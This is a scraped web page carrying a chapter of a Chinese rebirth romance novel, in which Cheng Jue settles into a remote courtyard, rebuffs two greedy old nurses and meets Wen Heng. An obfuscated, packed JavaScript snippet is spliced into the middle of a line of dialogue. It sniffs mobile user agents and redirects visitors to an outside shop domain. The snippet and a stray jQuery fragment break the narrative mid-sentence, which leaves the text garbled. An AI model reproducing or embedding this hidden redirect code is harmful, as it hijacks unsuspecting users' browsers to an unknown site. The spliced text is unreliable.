文趣网 > 其他小说 > 糙妇与她的和尚夫君 > 2. 第 2 章
    其实除却程玦重生,如前世般,一切都未曾改变。

    老太太在自己和程芳院中各调了一名嬷嬷给她,还有府上半月前买回来的丫鬟秋蝉。

    “小姐,奴婢再给您备个手炉,这儿到清芷园稍有些远,别冻着您。”

    秋蝉小心翼翼推着轮椅,细心避开了冰重雪重之处。

    小丫鬟声音细润,透着些青稚,正是方才她进府时,主动给她塞手炉的那个。

    大红氅衣围紧了程玦,只露出女子挂了雾的眉眼,程玦莫名回了下头,静静看向秋蝉。

    她对这丫鬟并不陌生,甚至还有几分故人重逢的喜悦,秋蝉是所有跟着她的下人里待她最为真诚的一个。

    她陪着自己在荒僻的清芷园度过了大半载,之后又做了她的陪嫁,只是命运不济,在她被抓去敌国的路上,为了护她而死。

    程玦自认不是忘恩负义之辈,可为何……为何方才她就没有注意到秋蝉呢?

    眼睫上的水雾随着眨动糊成一片,程玦心中其实是有愧意的,她拼着一股执念回来,可再次踏入这道侯门,脑子里还是本能会想到程芳。

    程玦默叹了声,她终究……终究还是活不成母亲那般洒脱又冷情的模样。

    她将其中一只手炉塞进秋蝉冻红的掌心,秋蝉自然惶恐着推脱,但程玦要给,她就只能接着。

    温热暖了她的手,秋蝉却鼻尖一酸。

    她本就年纪小,又不懂高门生存之道,然而不会看眼色的下人与那丧家之犬并无不同,她被老太太踢到程芳的院子,又被程芳撵去了二房夫人那儿。

    被各房的主子训斥是家常便饭,天长日久的,连那些得了脸的老嬷嬷也对她呼来喝去。

    今日想要在新入府的小姐面前搏个好印象,秋蝉左思右想几乎做了半宿的心里斗争,可她虽欣慰自己赌对了命,却也因利用程玦而万分后悔。

    秋蝉将手炉塞进怀里,眼眶却泛起了红:“小姐,奴婢——”

    秋蝉的小心思程玦前世便知晓,但她并不在意,若真算起来,她与秋蝉又有何不同?无非都是为活下去罢了。

    她打断了丫鬟的话:“走吧,我有点冷了。”

    秋蝉重新推动轮椅,吸着鼻头,哽咽道:“小姐,您是心善之人,奴婢往后定效忠于您。”

    “还是要先学会自保。”

    程玦微阖上眼,将秋蝉惨死的那一幕艰难压下。

    半晌,她又听到秋蝉倔强的说:“要先护小姐。”

    清芷园近在眼前,尚没进院门,萧瑟之气便铺天盖地而来,程玦抬眸望向这曾住过数月的旧居,神情倒也没任何不满。

    她只是有点……想笑。

    清芷园是程芳做主分给她的,亏得她前世还为此感动许久,她入府处境艰难,身份也尴尬,原以为程芳用心良苦,是怕旁人会欺侮她,才将她发配的如此偏远。

    殊不知,程芳只是想以此划清与她的界限,他们井水不犯河水,她也好少去扰她清闲。

    程玦不由得笑出声来,笑的发上朱钗乱晃。

    看,其实人只要脑子清醒一点,便就能更好的约束自己,警醒自己。

    最重要的,是要懂得衡量自己的斤两,要有自知之明。

    门内,正消极怠工的钱、孙两位嬷嬷乍听女子笑音,都不约而同奔了出来。

    钱嬷嬷话多,人看着也热络:“小姐您回来了?老夫人刚刚还嘱咐我们先赶过来拾掇拾掇院子,免得您初来乍到,住着会不习惯。”

    孙嬷嬷则生的四方大脸,只是那双眼比寻常下人更厉:“小姐有吩咐尽管跟咱们提,咱们都是老夫人和大夫人钦点过来伺候您的,必当兢兢业业。”

    两位嬷嬷杵在门边,话落便没了声音。

    秋蝉是得过他们教训的,动作下意识畏缩,手炉在她怀中散发着徐徐温热,她立刻就记起刚说过的话。

    小丫鬟咬了咬唇,强行挺直腰杆,终是大起胆子道:“既然收拾完了,那我就先推小姐进去了。”

    钱、孙二人冷撇向她,随即又挤出抹笑意看着程玦,脚下积雪被踩实压出深坑,而那两双脚却并不肯向旁边挪动。

    莫说是秋蝉,程玦上辈子也没少吃他们的厉害。

    她心性单纯又满身江湖气,说话做事不懂绕弯只会直来直去,钱、孙不肯让路自是为了赏钱,而因着她前世没给,两位老嬷嬷便开始明里暗里的刁难她。

    那时的程玦确实也没想给。

    一是她实在太穷,半个铜板也拿不出。

    二来,她十分不服气,没想到这“恶奴欺主”之事有一日也会被她给遇上。

    程玦吃了一堑,她想,今生也的确该长一智的。

    病气未消,女子面颊被衬得说不出的苍白,她抱起手炉,稳稳当当靠回椅背,抬眸时弯唇浅笑,语调也柔:“辛苦两位嬷嬷,还望今后——”

    两位老奴眼含期许,理所应当盛了这谢。

    只是预想中的打赏并没等来,程玦笑意微敛,把话说了下去:“还望今后,继续努力。”

    老奴们撑着笑的假面顷刻碎裂,继而露出怨毒的本相。

    程玦却佯作不知,阖上眼对身后吩咐:“秋蝉,走吧。”

    程玦知晓自己并不通内宅那套腌臜算计,前世不懂,今生亦是如此,索性,也就不必去费那个功夫了。

    进到寝房,秋蝉将门关严,还是担忧的看向她:“小姐,钱嬷嬷和孙嬷嬷……”

    “不必理会。”

    程玦说罢,单手挑开合着的竹窗,目光不自觉落向院中那繁花满枝的梅树。

    -

    暮色四合,微弱的天光下,雪有渐停之势。

    温知微清早就去了书局,现下背了满满一书箧,也不知是贪多,还是哪一本都不舍得放手,这会儿双肩被压得一高一低,路都走得不太稳当了。

    府门一开,他侧头给身旁男子先让了路:“小叔叔快进来。”

    温珩前脚踏进门槛,不知怎么,就叹了半口气。

    后进来的温知微精力全在书本,并没听见这一声:“若我自小多有些觉悟,武艺也学起来,现下岂不是文试、武试都可去考。”

    温珩眼微垂,心不在焉应:“莫要贪多。”

    温知微提了提沉重的书箧,腼腆一笑:“怎是贪多?侄儿这叫上进。”

    二人虽说是叔侄关系,但实则,温珩只比温知微年长一岁。

    温珩步伐有意放慢,应话时,眼尾却越垂越低:“确实上进,届时,满朝文武便都不会是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813607|210965||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    你的对手。”

    “即可在文臣舌战时亮出拳脚,亦能在两军对垒下气死武将。”

    温知微初听第一句,还难免骄傲了下,可待到全部听完,立刻就哭笑不得的站了下来:“小叔叔,你怎么就是不懂侄儿的良苦用心呢。”

    “咱们温家本是望族,前朝时更有从龙之功……”

    奈何一朝天子一朝臣,自打景和帝登基,温家便如江河日下再没得到过重用了。

    温知微确实不懂,温家如今虽没落,可家中儿郎们也并未因此气馁。

    唯独他眼前的温珩,是个异类。

    温珩没回这句,而是脚步微收,视线一转,就定格到了远处一片寒梅之上。

    温知微摇了摇头,只觉得小叔叔心性未定,还不如他这晚辈来的成熟,便转了话题问:“老师近日得了几砖黄糖,入茶甚是美味,等下我叫书童泡给你喝,你想要浓一些还是淡一些的?”

    温珩不知看什么入了神,缓缓应道:“好的……”

    温知微:……

    温知微无奈的面向温珩,但并没能挡住小叔叔的视线,温珩是温家男子中身形最高的,比他还冒了半头。

    不过自打认识了小叔叔,温知微对其秉性倒是多有了解。

    温珩并非敷衍于他,而是行事一向如此,温珩心中似乎总是装着心事,所以常常发呆走神,有时旁人同他打听事情,话刚出口半句,他便能精准答疑。

    更绝的是,温珩是历年历届最快做完考卷的学子,就连被景和帝钦点探花,打马游街之时,都心大的险些睡着。

    温知微曾对温珩的本事很是向往,不惜效仿前人头悬梁锥刺股,以此想要追上他的小叔叔。

    然而除了学问,温知微每次看向温珩,都会生出很强的自卑。

    世人提起温家儿郎,只道他温知微“温文儒雅”,可若是说起温珩,赞美之词即便是用筐装,也是摞不下的。

    男子长身玉立,墨发半垂,哪怕只别着一根素簪,只着一身寡淡的白衣,却依旧遗世独立般令人难忘。

    温知微正要喊他回神,书童便循声找来:“少爷,老爷请您去书房一趟。”

    李忱是温知微的良师,在他心中的地位堪比父亲,温知微匆匆和温珩打了招呼,便疾步跟上了书童。

    冬日夜黑的早,侯府也到了掌灯之时。

    透着朦胧红晕的灯火染上一片清雪,继而便如绽开的花苞一路开到了清芷园。

    院门敞开,幽幽月色下,身披红氅的女子正安静坐在树下。

    温珩才走到门前,便猛然回过神来,可再想调头,程玦已经发现了他。

    凛凛风雪中,寒雾模糊了彼此的视线,二人的目光其实并没太多交汇,可程玦还是有种恍如隔世的错觉。

    就好像,前世的温珩也曾这样看过她。

    温珩的目光自她轮椅上划过,视线极慢,大抵是狠狠怔了一下,随后,才轻缓点了下头:“失礼了,阿玉姑娘。”

    男子挪开脚下想走,辗转几许,却也只将将转过了半边。

    “骨碌碌——”

    硬物翻滚声突兀的打碎了寒风。

    金丝手炉在女子手中恰好滑脱,继而压着沉甸甸的雪,刚好就滚在了他脚下。